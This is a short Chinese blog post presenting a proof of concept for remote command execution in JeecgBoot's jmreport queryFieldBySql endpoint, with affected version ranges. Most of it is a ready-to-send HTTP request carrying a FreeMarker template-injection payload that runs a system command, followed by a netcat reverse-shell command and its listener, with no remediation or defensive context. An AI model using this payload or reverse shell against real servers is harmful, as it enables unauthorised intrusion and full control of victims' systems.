Always keep a begi|

都吃泡芙

园龄:9个月粉丝:4关注:4

JeecgBoot-queryFieldBySql-远程命令执行-RCE漏洞

影响范围:

3.0.0 <= jeecg-boot <= 3.5.3
2.4.x <= jeecg-boot <= 2.4.6

POC:

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: ip
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/json
Content-Length: 102

{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"net user\")}'"}

image

进一步RCE

nc -e /bin/bash ip port

image

nc -lvp 8888

image

本文作者:都吃泡芙

本文链接:https://www.cnblogs.com/pa0fu/p/18262235

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   都吃泡芙  阅读(203)  评论(0编辑  收藏  举报
//雪花飘落效果 //雪花飘落效果
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起